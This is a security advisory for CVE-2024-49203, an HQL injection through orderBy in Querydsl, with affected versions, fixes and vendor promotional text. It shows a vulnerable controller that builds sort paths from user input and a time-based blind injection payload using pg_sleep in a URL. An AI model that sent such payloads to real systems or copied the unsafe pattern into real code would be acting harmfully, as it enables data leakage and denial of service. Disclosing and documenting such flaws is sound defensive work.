GHSA-6q3q-6v5j-h6vg
HIGHQuerydsl vulnerable to HQL injection through orderBy
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
io.github.openfeign.querydsl:querydsl-jpa☕io.github.openfeign.querydsl:querydsl-apt☕io.github.openfeign.querydsl:querydsl-jpa☕io.github.openfeign.querydsl:querydsl-apt☕com.querydsl:querydsl-jpa☕com.querydsl:querydsl-aptReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier CVE-2024-49203.
Details
Vulnerable code may look as follows:
@GetMapping
public List<Test> getProducts(@RequestParam("orderBy") String orderBy) {
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
JPAQuery<Test> orderedQuery = query.orderBy(order);
return orderedQuery.fetch();
}
Where vulnerability is either caused by pathBuilder.get(orderBy) or the orderBy(order) method itself, based on where the security checks are expected.
PoC
Full POC code is available in repository: https://github.com/CSIRTTrizna/CVE-2024-49203/ When we take a look at source code shown in Details section the functionality is as follows:
- Create JPAQuery object instance:
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
- Create OrderSpecifier object instance:
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
Where orderBy variable is user provided input.
- order and run the query
JPAQuery<Test> orderedQuery = query.orderBy(order);
orderedQuery.fetch();
When user goes to URL
/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))='2'+ORDER+BY+t.id
The generated query will look something like this:
select test
from Test test
order by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id asc
Environment
Library versions used in proof of concept to reproduce the vulnerability:
querydsl-jpa: 6.8.0
querydsl-apt: 6.8.0
hibernate-core: 6.1.1.Final
jakarta.persistence-api: 3.1.0
postgresql: 42.7.4
Impact
The vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.github.openfeign.querydsl:querydsl-jpa | ≥ 6.0.0.M1&&< 6.10.1 | 6.10.1 |
| ☕Maven | io.github.openfeign.querydsl:querydsl-apt | ≥ 6.0.0.M1&&< 6.10.1 | 6.10.1 |
| ☕Maven | io.github.openfeign.querydsl:querydsl-jpa | all versions | 5.6.1 |
| ☕Maven | io.github.openfeign.querydsl:querydsl-apt | all versions | 5.6.1 |
| ☕Maven | com.querydsl:querydsl-jpa | all versions | No fix |
| ☕Maven | com.querydsl:querydsl-apt | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.github.openfeign.querydsl:querydsl-jpa. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update io.github.openfeign.querydsl:querydsl-jpa to 6.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6q3q-6v5j-h6vg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6q3q-6v5j-h6vg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6q3q-6v5j-h6vg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6q3q-6v5j-h6vg in your dependencies?
O3 detects GHSA-6q3q-6v5j-h6vg across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.